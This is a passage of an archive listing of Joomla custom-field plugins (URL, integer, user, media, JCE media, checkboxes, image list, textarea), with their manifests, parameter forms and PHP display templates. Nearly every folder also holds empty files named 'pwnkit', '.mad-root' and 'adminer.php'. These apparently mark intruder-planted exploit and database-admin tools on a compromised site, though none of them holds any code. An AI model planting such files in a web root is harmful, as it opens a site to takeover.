reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_URL_XML_DESCRIPTION</description> <files> <filename plugin="url">url.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_url.ini</language> <language tag="en-GB">en-GB.plg_fields_url.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="schemes" type="list" label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL" description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC" multiple="true" > <option value="http">HTTP</option> <option value="https">HTTPS</option> <option value="ftp">FTP</option> <option value="ftps">FTPS</option> <option value="file">FILE</option> <option value="mailto">MAILTO</option> </field> <field name="relative" type="radio" label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL" description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC" class="btn-group btn-group-yesno" default="1" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </config> </extension> url/url.php 0000644 00000002161 15252013275 0006663 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.URL * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields URL Plugin * * @since 3.7.0 */ class PlgFieldsUrl extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('validate', 'url'); if (! $fieldNode->getAttribute('relative')) { $fieldNode->removeAttribute('relative'); } return $fieldNode; } } url/.mad-root 0000644 00000000000 15252013275 0007061 0 ustar 00 url/params/url.xml 0000644 00000001560 15252013275 0010161 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="schemes" type="list" label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL" description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC" multiple="true" > <option value="http">HTTP</option> <option value="https">HTTPS</option> <option value="ftp">FTP</option> <option value="ftps">FTPS</option> <option value="file">FILE</option> <option value="mailto">MAILTO</option> </field> <field name="relative" type="list" label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL" description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> url/params/pwnkit 0000755 00000000000 15252013275 0010063 0 ustar 00 url/params/.mad-root 0000644 00000000000 15252013275 0010344 0 ustar 00 url/tmpl/url.php 0000644 00000001057 15252013275 0007642 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.URL * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $attributes = ''; if (!JUri::isInternal($value)) { $attributes = ' rel="nofollow noopener noreferrer" target="_blank"'; } echo sprintf('<a href="%s"%s>%s</a>', htmlspecialchars($value), $attributes, htmlspecialchars($value) ); url/tmpl/.mad-root 0000644 00000000000 15252013275 0010035 0 ustar 00 url/tmpl/pwnkit 0000755 00000000000 15252013275 0007554 0 ustar 00 integer/.mad-root 0000644 00000000000 15252013275 0007714 0 ustar 00 integer/pwnkit 0000755 00000000000 15252013275 0007433 0 ustar 00 integer/tmpl/pwnkit 0000755 00000000000 15252013275 0010407 0 ustar 00 integer/tmpl/integer.php 0000644 00000000712 15252013275 0011325 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Integer * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', array_map('intval', $value)); } else { $value = (int) $value; } echo $value; integer/tmpl/.mad-root 0000644 00000000000 15252013275 0010670 0 ustar 00 integer/params/integer.xml 0000644 00000002010 15252013275 0011636 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="multiple" type="list" label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="first" type="number" label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC" filter="integer" size="5" /> <field name="last" type="number" label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC" filter="integer" size="5" /> <field name="step" type="number" label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC" filter="integer" size="5" /> </fieldset> </fields> </form> integer/integer.xml 0000644 00000003625 15252013275 0010370 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_integer</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_INTEGER_XML_DESCRIPTION</description> <files> <filename plugin="integer">integer.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_integer.ini</language> <language tag="en-GB">en-GB.plg_fields_integer.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="multiple" type="radio" label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="first" type="number" label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC" default="1" filter="integer" size="5" /> <field name="last" type="number" label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC" default="100" filter="integer" size="5" /> <field name="step" type="number" label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC" default="1" filter="integer" size="5" /> </fieldset> </fields> </config> </extension> integer/integer.php 0000644 00000000716 15252013275 0010355 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Integer * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Integer Plugin * * @since 3.7.0 */ class PlgFieldsInteger extends FieldsPlugin { } user/.mad-root 0000644 00000000000 15252013275 0007235 0 ustar 00 user/pwnkit 0000755 00000000000 15252013275 0006754 0 ustar 00 user/user.xml 0000644 00000001463 15252013275 0007230 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_user</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_USER_XML_DESCRIPTION</description> <files> <filename plugin="user">user.php</filename> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_user.ini</language> <language tag="en-GB">en-GB.plg_fields_user.sys.ini</language> </languages> </extension> user/params/.mad-root 0000644 00000000000 15252013275 0010520 0 ustar 00 user/params/pwnkit 0000755 00000000000 15252013275 0010237 0 ustar 00 user/params/user.xml 0000644 00000000600 15252013275 0010503 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <field name="default_value" type="user" label="PLG_FIELDS_USER_DEFAULT_VALUE_LABEL" description="PLG_FIELDS_USER_DEFAULT_VALUE_DESC" /> <fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL"> <fieldset name="basic"> <field name="show_on" type="hidden" filter="unset" /> </fieldset> </fields> </form> user/user.php 0000644 00000002021 15252013275 0007206 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.User * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields User Plugin * * @since 3.7.0 */ class PlgFieldsUser extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { if (JFactory::getApplication()->isClient('site')) { // The user field is not working on the front end return; } return parent::onCustomFieldsPrepareDom($field, $parent, $form); } } user/tmpl/user.php 0000644 00000001245 15252013275 0010171 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.User * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $value = (array) $value; $texts = array(); foreach ($value as $userId) { if (!$userId) { continue; } $user = JFactory::getUser($userId); if ($user) { // Use the Username $texts[] = $user->name; continue; } // Fallback and add the User ID if we get no JUser Object $texts[] = $userId; } echo htmlentities(implode(', ', $texts)); user/tmpl/.mad-root 0000644 00000000000 15252013275 0010211 0 ustar 00 user/tmpl/pwnkit 0000755 00000000000 15252013275 0007730 0 ustar 00 adminer.php 0000644 00000000000 15252013275 0006664 0 ustar 00 media/.mad-root 0000644 00000000000 15252013275 0007336 0 ustar 00 media/media.php 0000644 00000002031 15252013275 0007411 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Media * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Media Plugin * * @since 3.7.0 */ class PlgFieldsMedia extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('hide_default', 'true'); return $fieldNode; } } media/media.xml 0000644 00000003411 15252013275 0007425 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_media</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_MEDIA_XML_DESCRIPTION</description> <files> <filename plugin="media">media.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_media.ini</language> <language tag="en-GB">en-GB.plg_fields_media.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="directory" type="folderlist" label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" recursive="true" /> <field name="preview" type="list" label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC" class="btn-group" default="tooltip" > <option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option> <option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option> <option value="false">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </config> </extension> media/params/media.xml 0000644 00000001720 15252013275 0010711 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="directory" type="folderlist" label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" recursive="true" /> <field name="preview" type="list" label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option> <option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option> <option value="false">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </form> media/params/.mad-root 0000644 00000000000 15252013275 0010621 0 ustar 00 media/params/pwnkit 0000755 00000000000 15252013275 0010340 0 ustar 00 media/tmpl/pwnkit 0000755 00000000000 15252013275 0010031 0 ustar 00 media/tmpl/media.php 0000644 00000001245 15252013275 0010373 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Media * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; if ($field->value == '') { return; } $class = $fieldParams->get('image_class'); if ($class) { $class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"'; } $value = (array) $field->value; $buffer = ''; foreach ($value as $path) { if (!$path) { continue; } $buffer .= sprintf('<img src="%s"%s>', htmlentities($path, ENT_COMPAT, 'UTF-8', true), $class ); } echo $buffer; media/tmpl/.mad-root 0000644 00000000000 15252013275 0010312 0 ustar 00 media/pwnkit 0000755 00000000000 15252013275 0007055 0 ustar 00 mediajce/mediajce.php 0000604 00000001472 15252013275 0010561 0 ustar 00 <?php /** * @package JCE.Plugin * @subpackage Fields.Media_Jce * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @copyright Copyright (C) 2018 Ryan Demmer. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); JForm::addFieldPath(JPATH_PLUGINS . '/system/jce/fields'); /** * Fields MediaJce Plugin * * @since 2.6.27 */ class PlgFieldsMediaJce extends FieldsPlugin { public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } return $fieldNode; } } mediajce/mediajce.xml 0000604 00000003302 15252013275 0010564 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_mediajce</name> <version>2.6.38</version> <creationDate>14-03-2019</creationDate> <author>Ryan Demmer</author> <authorEmail>info@joomlacontenteditor.net</authorEmail> <authorUrl>https://www.joomlacontenteditor.net</authorUrl> <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright> <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license> <description>PLG_FIELDS_MEDIAJCE_XML_DESCRIPTION</description> <files folder="plugins/fields/mediajce"> <filename plugin="mediajce">mediajce.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages folder="administrator/language/en-GB"> <language tag="en-GB">en-GB.plg_fields_mediajce.ini</language> <language tag="en-GB">en-GB.plg_fields_mediajce.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="mediatype" type="combo" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC" > <option value="images">images</option> <option value="files">files</option> </field> <field name="media_class" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC" /> <field name="media_description" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC" /> </fieldset> </fields> </config> </extension> mediajce/pwnkit 0000755 00000000000 15252013275 0007537 0 ustar 00 mediajce/.mad-root 0000644 00000000000 15252013275 0010020 0 ustar 00 mediajce/tmpl/pwnkit 0000755 00000000000 15252013275 0010513 0 ustar 00 mediajce/tmpl/mediajce.php 0000604 00000003153 15252013275 0011533 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.MediaJce * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @copyright Copyright (C) 2018 Ryan Demmer. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; jimport('joomla.filesystem.path'); if ($field->value == '') { return; } $class = (string) $fieldParams->get('media_class', ''); $type = (string) $fieldParams->get('mediatype', 'images'); $text = (string) $fieldParams->get('media_description', ''); if ($class) { $class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"'; } if ($text) { $text = htmlentities($text, ENT_COMPAT, 'UTF-8', true); } $value = (array) $field->value; $buffer = ''; $element = '<img src="%s"%s alt="%s" />'; if ($type !== "images") { $element = '<a href="%s"%s>%s</a>'; } foreach ($value as $path) { if (!$path) { continue; } // remove some common characters $path = preg_replace('#[\+\\\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]#', '', $path); // trim $path = trim($path); // check for valid path after clean if (!$path) { continue; } // clean path $path = JPath::clean($path); // create full path $fullpath = JPATH_SITE . '/' . trim($path, '/'); // check path is valid if (!is_file($fullpath)) { continue; } // set text as basename if not an image if (!$text && $type !== "images") { $text = basename($path); } $buffer .= sprintf($element, htmlentities($path, ENT_COMPAT, 'UTF-8', true), $class, $text ); } echo $buffer; mediajce/tmpl/.mad-root 0000644 00000000000 15252013275 0010774 0 ustar 00 mediajce/params/mediajce.xml 0000604 00000001430 15252013275 0012047 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="mediatype" type="combo" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC" > <option value="images">images</option> <option value="files">files</option> </field> <field name="media_class" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC" /> <field name="media_description" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC" /> </fieldset> </fields> </form> checkboxes/params/checkboxes.xml 0000644 00000001373 15252013275 0013013 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="options" type="subform" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </form> checkboxes/checkboxes.xml 0000644 00000003134 15252013275 0011525 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_checkboxes</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_CHECKBOXES_XML_DESCRIPTION</description> <files> <filename plugin="checkboxes">checkboxes.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_checkboxes.ini</language> <language tag="en-GB">en-GB.plg_fields_checkboxes.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="options" type="subform" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </config> </extension> checkboxes/checkboxes.php 0000644 00000000737 15252013275 0011522 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Checkboxes * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields Checkboxes Plugin * * @since 3.7.0 */ class PlgFieldsCheckboxes extends FieldsListPlugin { } checkboxes/tmpl/checkboxes.php 0000644 00000001203 15252013275 0012463 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Checkboxes * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $fieldValue = $field->value; if ($fieldValue === '' || $fieldValue === null) { return; } $fieldValue = (array) $fieldValue; $texts = array(); $options = $this->getOptionsFromField($field); foreach ($options as $value => $name) { if (in_array((string) $value, $fieldValue)) { $texts[] = JText::_($name); } } echo htmlentities(implode(', ', $texts)); checkboxes/.mad-root 0000644 00000000000 15252013275 0010375 0 ustar 00 checkboxes/pwnkit 0000755 00000000000 15252013275 0010114 0 ustar 00 imagelist/pwnkit 0000755 00000000000 15252013275 0007754 0 ustar 00 imagelist/imagelist.xml 0000644 00000003477 15252013275 0011237 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_imagelist</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_IMAGELIST_XML_DESCRIPTION</description> <files> <filename plugin="imagelist">imagelist.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_imagelist.ini</language> <language tag="en-GB">en-GB.plg_fields_imagelist.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="directory" type="folderlist" label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" hide_default="true" recursive="true" default="/" > <option value="/">/</option> </field> <field name="multiple" type="radio" label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </config> </extension> imagelist/tmpl/imagelist.php 0000644 00000001726 15252013275 0012175 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Imagelist * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; if ($field->value == '') { return; } $class = $fieldParams->get('image_class'); if ($class) { // space before, so if no class sprintf below works $class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"'; } $value = (array) $field->value; $buffer = ''; foreach ($value as $path) { if (!$path || $path == '-1') { continue; } if ($fieldParams->get('directory', '/') !== '/') { $buffer .= sprintf('<img src="images/%s/%s"%s>', $fieldParams->get('directory'), htmlentities($path, ENT_COMPAT, 'UTF-8', true), $class ); } else { $buffer .= sprintf('<img src="images/%s"%s>', htmlentities($path, ENT_COMPAT, 'UTF-8', true), $class ); } } echo $buffer; imagelist/imagelist.php 0000604 00000002212 15252013275 0011204 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Imagelist * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields Imagelist Plugin * * @since 3.7.0 */ class PlgFieldsImagelist extends FieldsListPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('hide_default', 'true'); $fieldNode->setAttribute('directory', '/images/' . $fieldNode->getAttribute('directory')); return $fieldNode; } } imagelist/.mad-root 0000644 00000000000 15252013275 0010235 0 ustar 00 imagelist/params/imagelist.xml 0000644 00000002011 15252013275 0012501 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="directory" type="folderlist" label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" hide_default="true" recursive="true" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="/">/</option> </field> <field name="multiple" type="list" label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </form> textarea/params/adminer.php 0000644 00000000000 15252013275 0011764 0 ustar 00 textarea/params/textarea.xml 0000644 00000002671 15252013275 0012213 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="rows" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC" filter="integer" size="5" /> <field name="cols" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC" filter="integer" size="5" /> <field name="maxlength" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC" filter="integer" /> <field name="filter" type="list" label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL" 